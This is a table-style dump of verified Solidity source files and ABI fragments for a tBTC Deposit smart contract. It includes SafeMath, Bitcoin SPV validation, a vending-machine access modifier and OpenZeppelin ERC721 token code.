uint256 elapsed = block.timestamp.sub(_changeTimestamp);
if (elapsed >= _delayAmount) {
return 0;
} else {
return _delayAmount.sub(elapsed);
}
}
} | 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ITBTCSystem","name":"_tbtcSystem","type":"address"},{"internalType":"contract TBTCToken","name":"_tbtcToken","type":"address"},{"internalType":"contract IERC721","name":"_tbtcDepositToken","type":"address"},{"internalType":"contract FeeRebateToken","name":"_feeRebateToken","type":"address"},{"internalType":"address","name":"_vendingMachineAddress","type":"address"},{"internalType":"uint64","name":"_lotSizeSatoshis","type":"uint64"}],"name":"initializeDeposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"keepAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeSatoshis","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCallExpired","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyFundingTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionProofTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionSignatureTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifySignerSetupFailed","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyUndercollateralizedLiquidation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"uint8","name":"_fundingOutputIndex","type":"uint8"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideBTCFundingProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"provideFundingECDSAFraudProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideRedemptionProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"}],"name":"provideRedemptionSignature","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"purchaseSignerBondsAtAuction","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"remainingTerm","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes","name":"_abortOutputScript","type":"bytes"}],"name":"requestFunderAbort","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"}],"name":"requestRedemptio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|||
Deposit | @summa-tx/bitcoin-spv-sol/contracts/SafeMath.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity ^0.5.10;
/*
The MIT License (MIT)
Copyright (c) 2016 Smart Contract Solutions, Inc.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
require(c / _a == _b, "Overflow during multiplication.");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a, "Underflow during subtraction.");
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
require(c >= _a, "Overflow during addition.");
return c;
}
} | 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|||
Deposit | @summa-tx/bitcoin-spv-sol/contracts/ValidateSPV.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity ^0.5.10;
/** @title ValidateSPV*/
/** @author Summa (https://summa.one) */
import {BytesLib} from "./BytesLib.sol";
import {SafeMath} from "./SafeMath.sol";
import {BTCUtils} from "./BTCUtils.sol";
library ValidateSPV {
using BTCUtils for bytes;
using BTCUtils for uint256;
using BytesLib for bytes;
using SafeMath for uint256;
enum InputTypes { NONE, LEGACY, COMPATIBILITY, WITNESS }
enum OutputTypes { NONE, WPKH, WSH, OP_RETURN, PKH, SH, NONSTANDARD }
uint256 constant ERR_BAD_LENGTH = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
uint256 constant ERR_INVALID_CHAIN = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe;
uint256 constant ERR_LOW_WORK = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd;
function getErrBadLength() internal pure returns (uint256) {
return ERR_BAD_LENGTH;
}
function getErrInvalidChain() internal pure returns (uint256) {
return ERR_INVALID_CHAIN;
}
function getErrLowWork() internal pure returns (uint256) {
return ERR_LOW_WORK;
}
/// @notice Validates a tx inclusion in the block
/// @dev `index` is not a reliable indicator of location within a block
/// @param _txid The txid (LE)
/// @param _merkleRoot The merkle root (as in the block header)
/// @param _intermediateNodes The proof's intermediate nodes (digests between leaf and root)
/// @param _index The leaf's index in the tree (0-indexed)
/// @return true if fully valid, false otherwise
function prove(
bytes32 _txid,
bytes32 _merkleRoot,
bytes memory _intermediateNodes,
uint _index
) internal pure returns (bool) {
// Shortcut the empty-block case
if (_txid == _merkleRoot && _index == 0 && _intermediateNodes.length == 0) {
return true;
}
bytes memory _proof = abi.encodePacked(_txid, _intermediateNodes, _merkleRoot);
// If the Merkle proof failed, bubble up error
return _proof.verifyHash256Merkle(_index);
}
/// @notice Hashes transaction to get txid
/// @dev Supports Legacy and Witness
/// @param _version 4-bytes version
/// @param _vin Raw bytes length-prefixed input vector
/// @param _vout Raw bytes length-prefixed output vector
/// @param _locktime 4-byte tx locktime
/// @return 32-byte transaction id, little endian
function calculateTxId(
bytes memory _version,
bytes memory _vin,
bytes memory _vout,
bytes memory _locktime
) internal pure returns (bytes32) {
// Get transaction hash double-Sha256(version + nIns + inputs + nOuts + outputs + locktime)
return abi.encodePacked(_version, _vin, _vout, _locktime).hash256();
}
/// @notice Checks validity of header chain
/// @notice Compares the hash of each header to the prevHash in the next header
/// @param _headers Raw byte array of header chain
/// @return The total accumulated difficulty of the header chain, or an error code
function validateHeaderChain(bytes memory _headers) internal view returns (uint256 _totalDifficulty) {
// Check header chain length
if (_headers.length % 80 != 0) {return ERR_BAD_LENGTH;}
// Initialize header start index
bytes32 _digest;
_totalDifficulty = 0;
for (uint256 _start = 0; _start < _headers.length; _start += 80) {
// ith header start index and ith header
bytes memory _header = _headers.slice(_start, 80);
// After the first header, check that headers are in a chain
if (_start != 0) {
if (!validateHeaderPrevHash(_header, _digest)) {return ERR_INVALID_CHAIN;}
}
// ith header target
uint256 _target = _header.extractTarget();
// Require that the header has sufficient work
_digest = _header.hash256View();
if(uint256(_digest).reverseUint256() > _target) {
return ERR_LOW_WORK;
}
// Add ith header difficulty to difficulty sum
_totalDifficulty = _totalDifficulty.add(_target.calculateDifficulty());
}
}
/// @notice Checks validity of header work
/// @param _digest Header digest
/// @param _target The target threshold
/// @return true if header work is valid, false otherwise
function validateHeaderWork(bytes32 _digest, uint256 _target) internal pure returns (bool) {
if (_digest == bytes32(0)) {return false;}
return (abi.encodePacked(_digest).reverseEndianness().bytesToUint() < _target);
}
/// @notice Checks validity of header chain
/// @dev Compares current header prevHash to previous header's digest
/// @param _header The raw bytes header
/// @param _prevHeaderDigest The previous header's digest
/// @return true if the connect is valid, false otherwise
function validateHeaderPrevHash(bytes memory _header, bytes32 _prevHeaderDigest) internal pure returns (bool) {
// Extract prevHash of current header
bytes32 _prevHash = _header.extractPrevBlockLE().toBytes32();
// Compare prevHash of current header to previous header's digest
if (_prevHash != _prevHeaderDigest) {return false;}
return true;
}
} | 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Deposit | solidity/contracts/system/VendingMachineAuthority.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
/// @title Vending Machine Authority.
/// @notice Contract to secure function calls to the Vending Machine.
/// @dev Secured by setting the VendingMachine address and using the
/// onlyVendingMachine modifier on functions requiring restriction.
contract VendingMachineAuthority {
address internal VendingMachine;
constructor(address _vendingMachine) public {
VendingMachine = _vendingMachine;
}
/// @notice Function modifier ensures modified function caller address is the vending machine.
modifier onlyVendingMachine() {
require(msg.sender == VendingMachine, "caller must be the vending machine");
_;
}
} | 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n","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address 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|||
Deposit | solidity/contracts/interfaces/ITokenRecipient.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
/// @title Interface of recipient contract for `approveAndCall` pattern.
/// Implementors will be able to be used in an `approveAndCall`
/// interaction with a supporting contract, such that a token approval
/// can call the contract acting on that approval in a single
/// transaction.
///
/// See the `FundingScript` and `RedemptionScript` contracts as examples.
interface ITokenRecipient {
/// Typically called from a token contract's `approveAndCall` method, this
/// method will receive the original owner of the token (`_from`), the
/// transferred `_value` (in the case of an ERC721, the token id), the token
/// address (`_token`), and a blob of `_extraData` that is informally
/// specified by the implementor of this method as a way to communicate
/// additional parameters.
///
/// Token calls to `receiveApproval` should revert if `receiveApproval`
/// reverts, and reverts should remove the approval.
///
/// @param _from The original owner of the token approved for transfer.
/// @param _value For an ERC20, the amount approved for transfer; for an
/// ERC721, the id of the token approved for transfer.
/// @param _token The address of the contract for the token whose transfer
/// was approved.
/// @param _extraData An additional data blob forwarded unmodified through
/// `approveAndCall`, used to allow the token owner to pass
/// additional parameters and data to this method. The structure of
/// the extra data is informally specified by the implementor of
/// this interface.
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes calldata _extraData
) external;
} | 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|||
Deposit | openzeppelin-solidity/contracts/token/ERC721/ERC721Metadata.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity ^0.5.0;
import "./ERC721.sol";
import "./IERC721Metadata.sol";
import "../../introspection/ERC165.sol";
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
} | 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Deposit | openzeppelin-solidity/contracts/token/ERC721/ERC721.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity ^0.5.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../drafts/Counters.sol";
import "../../introspection/ERC165.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
} | 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n","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
|||
Deposit | openzeppelin-solidity/contracts/token/ERC721/IERC721Metadata.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity ^0.5.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
} | 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ITBTCSystem","name":"_tbtcSystem","type":"address"},{"internalType":"contract TBTCToken","name":"_tbtcToken","type":"address"},{"internalType":"contract IERC721","name":"_tbtcDepositToken","type":"address"},{"internalType":"contract FeeRebateToken","name":"_feeRebateToken","type":"address"},{"internalType":"address","name":"_vendingMachineAddress","type":"address"},{"internalType":"uint64","name":"_lotSizeSatoshis","type":"uint64"}],"name":"initializeDeposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"keepAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeSatoshis","outputs":[{"internalType":"uint64","name":"","type":"uint64"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"lotSizeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyCourtesyCallExpired","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyFundingTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionProofTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyRedemptionSignatureTimedOut","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifySignerSetupFailed","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"notifyUndercollateralizedLiquidation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes4","name":"_txVersion","type":"bytes4"},{"internalType":"bytes","name":"_txInputVector","type":"bytes"},{"internalType":"bytes","name":"_txOutputVector","type":"bytes"},{"internalType":"bytes4","name":"_txLocktime","type":"bytes4"},{"internalType":"uint8","name":"_fundingOutputIndex","type":"uint8"},{"internalType":"bytes","name":"_merkleProof","type":"bytes"},{"internalType":"uint256","name":"_txIndexInBlock","type":"uint256"},{"internalType":"bytes","name":"_bitcoinHeaders","type":"bytes"}],"name":"provideBTCFundingProof","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint8","name":"_v","type":"uint8"},{"internalType":"bytes32","name":"_r","type":"bytes32"},{"internalType":"bytes32","name":"_s","type":"bytes32"},{"internalType":"bytes32","name":"_signedDigest","type":"bytes32"},{"internalType":"bytes","name":"_preimage","type":"bytes"}],"name":"prov